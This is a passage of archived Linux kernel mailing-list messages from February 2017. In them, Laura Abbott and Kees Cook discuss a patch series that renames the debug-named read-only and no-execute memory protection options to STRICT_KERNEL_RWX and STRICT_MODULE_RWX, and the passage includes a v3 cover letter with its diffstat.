>   select ARCH_HAS_STRICT_MODULE_RWX if MMU
>   select ARCH_OPTIONAL_KERNEL_RWX if ARCH_HAS_STRICT_KERNEL_RWX
>   select ARCH_OPTIONAL_KERNEL_RWX_DEFAULT if CPU_V7
> 
> x86 and arm64 are:
>   select ARCH_HAS_STRICT_KERNEL_RWX
>   select ARCH_HAS_STRICT_MODULE_RWX
> 
> ?
> 
> -Kees
> 

Yes, that looks good. I wanted it to be mandatory to avoid the
mindset of "optional means we don't need it" but I see there
are some cases where it's better to turn it off. I'll see if
I can emphasize this properly in the help text ("Say Y here
unless you love security exploits running in production")

Thanks,
Laura


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 2/2] arch: Rename CONFIG_DEBUG_RODATA and
 CONFIG_DEBUG_MODULE_RONX
Date: Mon, 6 Feb 2017 10:49:44 -0800
Lines: 53
Approved: news@gmane.org
Message-ID: <e9b6bcba-8488-9502-aebf-f260396671d5@redhat.com>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-3-git-send-email-labbott@redhat.com>
 <CAGXu5j+BX_+ymWQztqtOQE-A8yFuR5sdL++46wOvi-iBGLEK-A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1486406998 702 195.159.176.226 (6 Feb 2017 18:49:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Feb 2017 18:49:58 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-pm-owner@vger.kernel.org Mon Feb 06 19:49:51 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1caoMG-00044B-8g
	for gll-linux-pm2@m.gmane.org; Mon, 06 Feb 2017 19:49:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751746AbdBFStx (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Mon, 6 Feb 2017 13:49:53 -0500
Original-Received: from mail-qk0-f171.google.com ([209.85.220.171]:35163 "EHLO
        mail-qk0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750997AbdBFStv (ORCPT
        <rfc822;linux-pm@vger.kernel.org>); Mon, 6 Feb 2017 13:49:51 -0500
Original-Received: by mail-qk0-f171.google.com with SMTP id u25so64470273qki.2
        for <linux-pm@vger.kernel.org>; Mon, 06 Feb 2017 10:49:50 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=CSZR7UzJTzpY+PXzZSEQRFX2QegeUevLYYckdy5LWx8=;
        b=dZH11Zk6/fMYiL7Ihy81iFubkx5sAoYwkpfwTFW3WuEkJBVfsW7KzLnRNsv/iIllvx
         u2cN54zcvjehX7q84TtRfhXgUA+/PcYLsBKMM14DwqB2yaUE7hF81wJAmojM5i0E6Rf9
         3a9C6lMH/X3U9xeGbyxC6J5Famym78+EMl7vyPFhnVhlV+fUu5rXTe/69I8IFueV5gc8
         apW+3Oh5ApPu5c27XWPJmEugHTyJXfv5av1nsGys+U6k/g4Bw/PovBIk7RrrjX11GtTA
         dwUJdb5mBsoewF7PYqDh2qawgvHTdNBJdfMliZ058XaNkAXToqy8N4e1xd75iuK0ZuCL
         BxyQ==
X-Gm-Message-State: AMke39nS/4bn2ILgFjnphuA9332pxHalHP7+cfCH07IBZ9mnc+Nya/yyh8J/FHrwajsIC+e5
X-Received: by 10.55.76.18 with SMTP id z18mr9922466qka.263.1486406990427;
        Mon, 06 Feb 2017 10:49:50 -0800 (PST)
Original-Received: from ?IPv6:2601:602:9802:a8dc::5ce7? ([2601:602:9802:a8dc::5ce7])
        by smtp.gmail.com with ESMTPSA id d20sm1217669qtb.17.2017.02.06.10.49.45
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 06 Feb 2017 10:49:48 -0800 (PST)
In-Reply-To: <CAGXu5j+BX_+ymWQztqtOQE-A8yFuR5sdL++46wOvi-iBGLEK-A@mail.gmail.com>
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:86214 gmane.linux.documentation:44744 gmane.linux.kernel:2404814 gmane.linux.ports.arm.kernel:557257 gmane.linux.ports.parisc:27262 gmane.linux.kernel.hardened.devel:5499
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/86214>

On 02/03/2017 12:03 PM, Kees Cook wrote:
> On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wrote:
>>
>> Both of these options are poorly named. The features they provide are
>> necessary for system security and should not be considered debug only.
>> Change the name to something that accurately describes what these
>> options do.
> 
> It may help to explicitly call out the name change from/to in the
> commit message.
> 
>>
>> Signed-off-by: Laura Abbott <labbott@redhat.com>
>> ---
>> [...]
>> diff --git a/arch/arm/configs/aspeed_g4_defconfig b/arch/arm/configs/aspeed_g4_defconfig
>> index ca39c04..beea2cc 100644
>> --- a/arch/arm/configs/aspeed_g4_defconfig
>> +++ b/arch/arm/configs/aspeed_g4_defconfig
>> @@ -25,7 +25,6 @@ CONFIG_MODULE_UNLOAD=y
>>  # CONFIG_ARCH_MULTI_V7 is not set
>>  CONFIG_ARCH_ASPEED=y
>>  CONFIG_MACH_ASPEED_G4=y
>> -CONFIG_DEBUG_RODATA=y
>>  CONFIG_AEABI=y
>>  CONFIG_UACCESS_WITH_MEMCPY=y
>>  CONFIG_SECCOMP=y
> 
> Are these defconfig cases correct (dropping DEBUG_RODATA without
> adding STRICT_KERNEL_RWX)?
>

Yes, I think these need to be updated to the new config option since
these are not CPUv7


> Who should carry this series, btw?
> 

An excellent question :)

Would you be willing to carry it with Acks?

> -Kees
> 

Thanks,
Laura
--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 2/2] arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX
Date: Mon, 6 Feb 2017 12:13:38 -0800
Lines: 60
Approved: news@gmane.org
Message-ID: <CAGXu5jKS0_a8Nq+eJN4TN142fxrtEyO7qD9FB8gDCju6PA5xEA@mail.gmail.com>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-3-git-send-email-labbott@redhat.com> <CAGXu5j+BX_+ymWQztqtOQE-A8yFuR5sdL++46wOvi-iBGLEK-A@mail.gmail.com>
 <e9b6bcba-8488-9502-aebf-f260396671d5@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1486412025 19733 195.159.176.226 (6 Feb 2017 20:13:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Feb 2017 20:13:45 +0000 (UTC)
Cc: Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 06 21:13:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1capfM-0006JE-Ey
	for glpp-linux-parisc@m.gmane.org; Mon, 06 Feb 2017 21:13:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752291AbdBFUNl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 6 Feb 2017 15:13:41 -0500
Original-Received: from mail-it0-f49.google.com ([209.85.214.49]:35608 "EHLO
        mail-it0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752091AbdBFUNk (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 6 Feb 2017 15:13:40 -0500
Original-Received: by mail-it0-f49.google.com with SMTP id 203so62643676ith.0
        for <linux-parisc@vger.kernel.org>; Mon, 06 Feb 2017 12:13:39 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=9npv9S5Gbx/ypKJgFkfvzabJxEcjobinMpKEopHKi08=;
        b=coOUErM0xsFdqK7mnuYQE246XFFjSmBOSo33fCFC4eQ9WAn7/bwnjOz2mtIKZDWpI8
         AkrVq9G8mU1T58ls9FBf87YhFQR612tgihPZdsuXH4QV3O/8PJNsRw903NqOpq7zXN1D
         gNGT4OB2OVq4pI44z9bG8ta3JMi03P51MGzYdmAX92BgTGQDv14eHCC360nuK1ZlTbIn
         cY/kQAPrWRtkjlZ4HIcIFxvvMxM9PSJK6MJaRF6jBRSfTEEE4VVuTDsqGKc/3XcdGWqp
         HeO8cFhgM+TLUIank1hO3+ExKdgmErplOkvWySwkj3tfStBvDoxeLi2/zuWltbEg+o5C
         1Hdg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=9npv9S5Gbx/ypKJgFkfvzabJxEcjobinMpKEopHKi08=;
        b=RAHYDD8Hjrf1cYTsloH4NNgbohOTYtfDvcGaw/vVDWc+YIY+rzixleHrp3m0dXGfTB
         Z+fbe7sHT6Uey0+1VuMMF8KirBolGvKXspD4Uj+UyYtj8SUfjuuhpwWluSXlco2xX38K
         Z8WK88DPu+hBmtj+rN6/MhIIQY5iaPX6ZYeuk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=9npv9S5Gbx/ypKJgFkfvzabJxEcjobinMpKEopHKi08=;
        b=T5FhIjEuuj3oQ0lrvh1NGyidNv7zgULkbqgjL7M+lou5ElZ/HjuOjwjncHqmGxjd/G
         UYYhQHsfzAG6y6KNKc7twvpEf/mQ7UcnOJXUo1SiTCv6vknC36nFnsIob3g6M9FVZIHh
         gC+sSOYi0bPo+lImss7tvAarZQDnP9LRi9g307SwbSCs1AorQIOKdzEg4og+0Knf4uSD
         ijIUDvNFYudL19mBds66Amct1jn+/sJyho0YZxPGAaikxSkgifRAKavf/Y3v4ycqT7Hp
         +vkDRsjme/3e4Bbn1u3Q8x/CLtdkLaG/CJmVsZWWtWoWYo+xp1Yf2lAp3qUVeOiBw1Ia
         900w==
X-Gm-Message-State: AIkVDXKxP2Qd8fRH9WPGadESXYf5vK8eJws99IOkYMXta+J06DxKCM5uYlSPGvZRYhoFkSzLJsDliHl/GleNd/3l
X-Received: by 10.36.84.67 with SMTP id t64mr8475442ita.105.1486412019278;
 Mon, 06 Feb 2017 12:13:39 -0800 (PST)
Original-Received: by 10.107.143.138 with HTTP; Mon, 6 Feb 2017 12:13:38 -0800 (PST)
In-Reply-To: <e9b6bcba-8488-9502-aebf-f260396671d5@redhat.com>
X-Google-Sender-Auth: 5s_tcheReFPjxNWGA7Z7Eg7iIUE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27263 gmane.linux.documentation:44745 gmane.linux.kernel:2404865 gmane.linux.ports.arm.kernel:557292 gmane.linux.power-management.general:86216 gmane.linux.kernel.hardened.devel:5501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27263>

On Mon, Feb 6, 2017 at 10:49 AM, Laura Abbott <labbott@redhat.com> wrote:
> On 02/03/2017 12:03 PM, Kees Cook wrote:
>> On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wrote:
>>>
>>> Both of these options are poorly named. The features they provide are
>>> necessary for system security and should not be considered debug only.
>>> Change the name to something that accurately describes what these
>>> options do.
>>
>> It may help to explicitly call out the name change from/to in the
>> commit message.
>>
>>>
>>> Signed-off-by: Laura Abbott <labbott@redhat.com>
>>> ---
>>> [...]
>>> diff --git a/arch/arm/configs/aspeed_g4_defconfig b/arch/arm/configs/aspeed_g4_defconfig
>>> index ca39c04..beea2cc 100644
>>> --- a/arch/arm/configs/aspeed_g4_defconfig
>>> +++ b/arch/arm/configs/aspeed_g4_defconfig
>>> @@ -25,7 +25,6 @@ CONFIG_MODULE_UNLOAD=y
>>>  # CONFIG_ARCH_MULTI_V7 is not set
>>>  CONFIG_ARCH_ASPEED=y
>>>  CONFIG_MACH_ASPEED_G4=y
>>> -CONFIG_DEBUG_RODATA=y
>>>  CONFIG_AEABI=y
>>>  CONFIG_UACCESS_WITH_MEMCPY=y
>>>  CONFIG_SECCOMP=y
>>
>> Are these defconfig cases correct (dropping DEBUG_RODATA without
>> adding STRICT_KERNEL_RWX)?
>>
>
> Yes, I think these need to be updated to the new config option since
> these are not CPUv7
>
>
>> Who should carry this series, btw?
>>
>
> An excellent question :)
>
> Would you be willing to carry it with Acks?

Yeah, I can push this via the KSPP tree: it's cross-architecture, so
it seems like this should go either through my tree or through akpm's
tree.

Are the arch maintainers okay with that?

-Kees

-- 
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.hardened.devel
Subject: [PATCHv3 0/2] Hardening configs refactor/rename
Date: Mon,  6 Feb 2017 16:31:56 -0800
Lines: 65
Approved: news@gmane.org
Message-ID: <1486427518-14819-1-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1486427533 32681 195.159.176.226 (7 Feb 2017 00:32:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Feb 2017 00:32:13 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-ker
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-pm-owner@vger.kernel.org Tue Feb 07 01:32:06 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1cathW-000861-1M
	for gll-linux-pm2@m.gmane.org; Tue, 07 Feb 2017 01:32:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751909AbdBGAcI (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Mon, 6 Feb 2017 19:32:08 -0500
Original-Received: from mail-qt0-f170.google.com ([209.85.216.170]:36249 "EHLO
        mail-qt0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751524AbdBGAcG (ORCPT
        <rfc822;linux-pm@vger.kernel.org>); Mon, 6 Feb 2017 19:32:06 -0500
Original-Received: by mail-qt0-f170.google.com with SMTP id k15so121218932qtg.3
        for <linux-pm@vger.kernel.org>; Mon, 06 Feb 2017 16:32:06 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=C+Ik9qpol8CdGyufSekwAuR07C4RDuNZYsXXhc5jG8Q=;
        b=YyqWZxk3P3lih24rivUEtCbh2zQUSJWa9GmiHcmEgzG8yNoCykp5PMdbe6pnSvVoxK
         T3/OFIB8rCN+wogcsF0HhMDpx5gIg8QhexE6BQ0POZX6R3Jf5RaNlhEY/skHRNAmfmgU
         mQrhRwIQD1wIxph0j6VxoSNq7OonZi59lQ9FwGtSf/VvMX/jyhtm44d+cIyiXbLLyidD
         Gs0F0umfHOHnIaWdpypXci+ARkbsCIWqAAehANZs2hePZ8MaWj2AxXdzwdth0GmZXfQl
         SItAQx7kiU7A/hPZ8ZOHznOBOWPUc+ucXvgrd+7lqgTVB3nnf78VhBW12a+eEwhvvKwP
         Ciyg==
X-Gm-Message-State: AMke39ngMxRst3kz79i4vGJkMAhbmJA3OfDKy0NtnYMMDdLi5CzG+nrJfkgl5dCV7YkqGh5o
X-Received: by 10.237.43.71 with SMTP id p65mr11291195qtd.187.1486427525589;
        Mon, 06 Feb 2017 16:32:05 -0800 (PST)
Original-Received: from labbott-redhat-machine.redhat.com ([2601:602:9802:a8dc::5ce7])
        by smtp.gmail.com with ESMTPSA id 142sm1941212qkf.16.2017.02.06.16.32.01
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 06 Feb 2017 16:32:04 -0800 (PST)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:86232 gmane.linux.documentation:44756 gmane.linux.kernel:2405045 gmane.linux.ports.arm.kernel:557315 gmane.linux.ports.parisc:27264 gmane.linux.kernel.hardened.devel:5510
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/86232>

Hi,

This is v3 of my series to rename/refactor CONFIG_DEBUG_RODATA
and CONFIG_DEBUG_SET_MODULE_RONX. Among other objections, there shouldn't
be 'debug' in the name since these provide necessary kernel protection.

v3 mostly focuses on changing how the Kconfig dependencies work for the
refactor. Russell King requested that these options be deselectable for arm.
I also threw in some documentation on this under kernel hardening in case other
arches decide to follow suit.

The plan is for this to go through the KSPP tree so if people are okay with
this, please give Acks. I didn't take Mark Rutland's ack from before since
there's been a bit of refactoring.

Thanks,
Laura

Laura Abbott (2):
  arch: Move CONFIG_DEBUG_RODATA and CONFIG_SET_MODULE_RONX to be common
  arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX

 Documentation/DocBook/kgdb.tmpl            |  8 +++----
 Documentation/security/self-protection.txt | 10 +++++++--
 arch/Kconfig                               | 34 ++++++++++++++++++++++++++++++
 arch/arm/Kconfig                           |  4 ++++
 arch/arm/Kconfig.debug                     | 11 ----------
 arch/arm/configs/aspeed_g4_defconfig       |  4 ++--
 arch/arm/configs/aspeed_g5_defconfig       |  4 ++--
 arch/arm/include/asm/cacheflush.h          |  2 +-
 arch/arm/kernel/patch.c                    |  4 ++--
 arch/arm/kernel/vmlinux.lds.S              |  8 +++----
 arch/arm/mm/Kconfig                        | 14 +-----------
 arch/arm/mm/init.c                         |  4 ++--
 arch/arm64/Kconfig                         |  5 ++---
 arch/arm64/Kconfig.debug                   | 13 +-----------
 arch/arm64/kernel/insn.c                   |  2 +-
 arch/parisc/Kconfig                        |  1 +
 arch/parisc/Kconfig.debug                  | 11 ----------
 arch/parisc/configs/712_defconfig          |  1 -
 arch/parisc/configs/c3000_defconfig        |  1 -
 arch/parisc/mm/init.c                      |  2 +-
 arch/s390/Kconfig                          |  5 ++---
 arch/s390/Kconfig.debug                    |  3 ---
 arch/x86/Kconfig                           |  5 ++---
 arch/x86/Kconfig.debug                     | 11 ----------
 include/linux/filter.h                     |  4 ++--
 include/linux/init.h                       |  4 ++--
 include/linux/module.h                     |  2 +-
 init/main.c                                |  4 ++--
 kernel/configs/android-recommended.config  |  2 +-
 kernel/module.c                            |  6 +++---
 kernel/power/hibernate.c                   |  2 +-
 kernel/power/power.h                       |  4 ++--
 kernel/power/snapshot.c                    |  4 ++--
 33 files changed, 90 insertions(+), 109 deletions(-)

-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: [PATCHv3 1/2] arch: Move CONFIG_DEBUG_RODATA and CONFIG_SET_MODULE_RONX to be common
Date: Mon,  6 Feb 2017 16:31:57 -0800
Lines: 317
Approved: news@gmane.org
Message-ID: <1486427518-14819-2-git-send-email-labbott@redhat.com>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1486427539 1176 195.159.176.226 (7 Feb 2017 00:32:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Feb 2017 00:32:19 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
        linux-pm@vger.kernel.org, kernel-hardening@lists.openwall.com,
        Robin Murphy <robin.murphy@arm.com>
To: Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        Kees Cook <keescook@chromium.org>,
        Mark Rutland <mark.rutland@arm.com>
Original-X-From: linux-doc-owner@vger.kernel.org Tue Feb 07 01:32:12 2017
Return-path: <linux-doc-owner@vger.kernel.org>
Envelope-to: lnx-linux-doc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-doc-owner@vger.kernel.org>)
	id 1catha-0008L4-Vo
	for lnx-linux-doc@m.gmane.org; Tue, 07 Feb 2017 01:32:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752462AbdBGAcP (ORCPT <rfc822;lnx-linux-doc@m.gmane.org>);
        Mon, 6 Feb 2017 19:32:15 -0500
Original-Received: from mail-qt0-f176.google.com ([209.85.216.176]:34165 "EHLO
        mail-qt0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752211AbdBGAcK (ORCPT
        <rfc822;linux-doc@vger.kernel.org>); Mon, 6 Feb 2017 19:32:10 -0500
Original-Received: by mail-qt0-f176.google.com with SMTP id w20so116130123qtb.1
        for <linux-doc@vger.kernel.org>; Mon, 06 Feb 2017 16:32:10 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=YMm3j89RvKkoMRXYv/MGt7c6IDcrM7h4iM31zVZjYNw=;
        b=XS38y9dwj7xVrmNVIg//vSxSoaAiZFTImx9IusnSuqWC+i+EwJ6aF7IMCh4STOFZIz
         L8sFFocdnEfeq+sE+uEgjCCCM2FlaFTeZ2mmeC2+EzomBUabUMdKUAgLp1AjELMuxZvd
         NM6t02+tVNbCCgZcPmWp6G2Or4RU+jzO26zjP9i9yGsv2f6KhEl+UEz6p7lpk2HWQDcc
         Tw/rgkZvkd9H6z2DLeoA1l+0Rq3K8v73EaRNslMNtPn9BeulI1uIdl87+op2hqz9+O0T
         Q2jIYlmBhUaAvA3m4otNz5BbS9FtwwsT/r3i51vz/xM722gNa8lGi2OFXDOccqAxjckr
         TRSA==
X-Gm-Message-State: AMke39kHmLqSCqonfThAHTxpNqZbb++HyOXEVorR3bHOON0xxNqWeRXlyyslRdMFRyZ5Z6i4
X-Received: by 10.237.53.236 with SMTP id d41mr13336773qte.135.1486427529524;
        Mon, 06 Feb 2017 16:32:09 -0800 (PST)
Original-Received: from labbott-redhat-machine.redhat.com ([2601:602:9802:a8dc::5ce7])
        by smtp.gmail.com with ESMTPSA id 142sm1941212qkf.16.2017.02.06.16.32.05
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 06 Feb 2017 16:32:08 -0800 (PST)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1486427518-14819-1-git-send-email-labbott@redhat.com>
Original-Sender: linux-doc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-doc.vger.kernel.org>
